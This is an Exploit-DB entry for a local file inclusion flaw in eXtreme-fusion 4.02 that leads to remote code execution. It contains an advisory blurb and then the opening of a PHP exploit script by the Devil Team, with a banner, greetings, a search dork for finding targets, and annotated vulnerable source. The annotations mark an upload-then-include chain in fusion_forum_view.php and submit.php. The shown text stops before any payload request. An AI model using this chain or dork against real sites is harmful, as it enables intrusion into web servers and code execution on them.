Exploit-DB #29289
Description: eXtreme-fusion 4.02 - 'Fusion_Forum_View.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-12-16
Author: Kacper

Exploit:
source: https://www.securityfocus.com/bid/21621/info

eXtreme-fusion is prone to a local file-include vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. By combining this issue with the file-upload functionality of the application, the attacker may be able to execute remote code.

eXtreme-fusion version 4.02 is vulnerable to this issue; other versions may also be affected.

<?

print '
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 

[Exploit name: extreme-fusion <= 4.02 Remote Code Execution Exploit
[Script name: eXtreme-fusion 4.02
[Script site: http://extreme-fusion.pl/download-cat16
dork: "Powered by: PHP-Fusion"

Find by: Kacper (a.k.a Rahim)


========>  DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam  <========
========>         http://www.rahim.webd.pl/            <========

Contact: kacper1964@yahoo.pl

(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)
pepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P)

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';


/*
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file infusions/fusion_forum_view/fusion_forum_view.php:
[line 1-5]
....
<?
if (file_exists(INFUSIONS."fusion_forum_view/locale/".$settings['locale'].".php")) { // <-------{2}
include INFUSIONS."fusion_forum_view/locale/".$settings['locale'].".php"; // <-------{1}
} else {
include INFUSIONS."fusion_forum_view/locale/English.php";
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file submit.php:
[line 342-373]
....
	if (isset($_POST['submit_photo'])) {
		require_once INCLUDES."photo_functions_include.php";
		$error = "";
		$submit_info['photo_title'] = stripinput($_POST['photo_title']);
		$submit_info['photo_description'] = stripinput($_POST['photo_description']);
		$submit_info['album_id'] = isNum($_POST['album_id']) ? $_POST['album_id'] : "0";
		if (is_uploaded_file($_FILES['photo_pic_file']['tmp_name'])) {
			$photo_types = array(".gif",".jpg",".jpeg",".png");
			$photo_pic = $_FILES['photo_pic_file'];
			$photo_name = strtolower(substr($photo_pic['name'], 0, strrpos($photo_pic['name'], ".")));
			$photo_ext = strtolower(strrchr($photo_pic['name'],"."));
			$photo_dest = PHOTOS."submissions/";
			if (!preg_match("/^[-0-9A-Z_\[\]]+$/i", $photo_name)) {
				$error = 1;
			} elseif ($photo_pic['size'] > $settings['photo_max_b']){
				$error = 2;
			} elseif (!in_array($photo_ext, $photo_types)) {
				$error = 3;
			} else {
				$photo_file = image_exists($photo_dest, $photo_name.$photo_ext);
				move_uploaded_file($photo_pic['tmp_name'], $photo_dest.$photo_file);     // <-------{3(step1)}
				chmod($photo_dest.$photo_file, 0644);
				$imagefile = @getimagesize($photo_dest.$photo_file);
				if (!verify_image($photo_dest.$photo_file)) {
					$error = 3;
					unlink($photo_dest.$photo_file);
				} elseif ($imagefile[0] > $settings['photo_max_w'] || $imagefile[1] > $settings['photo_max_h']) {
					$error = 4;
					unlink($photo_dest.$photo_file);
				} else {
					$submit_info['photo_file'] = $photo_file;
				}
			}
		}
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file submit.php:
[line 223-250]
....
	if (isset($_POST['upload'])) {
		opentable($locale['552']);
		if ($_FILES['plik']['name']!="")
		{
			if(!file_exists("downloads/".$_FILES['plik']['name'])) {			
				move_uploaded_file($_FILES['plik']['tmp_name'],"downloads/".$_FILES['plik']['name']);  // <-------{3(step2)}
				switch($_FILES['plik']['error']) {
		 			case '0': echo $locale['542'].round($_FILES['plik']['size'] / 1024).'KB';
						$submit_info['download_title'] = stripinput($_POST['download_title']);
						$submit_info['download_description'] = stripinput($_POST['download_description']);
						$submit_info['download_url'] = "downloads/".$_FILES['plik']['name'];
						$submit_info['download_adres'] = stripinput($_POST['download_adres']);
						$submit_info['download_cat'] = stripinput($_POST['download_category']);
						$submit_info['download_license'] = stripinput($_POST['download_license']);
						$submit_info['download_os'] = stripinput($_POST['download_os']);
						$submit_info['download_version'] = stripinput($_POST['download_version']);
						$submit_info['download_filesize'] = $_FILES['plik']['size'];
						$result = dbquery("INSERT INTO ".$db_prefix."submissions VALUES('', 'f', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");
					break;
					case '1': echo $locale['543']; break;
					case '2': echo $locale['544']; break;
					case '3': echo $locale['545']; break;
					case '4': echo $locale['546']; break;
				}
			} else {
				echo $locale['547'];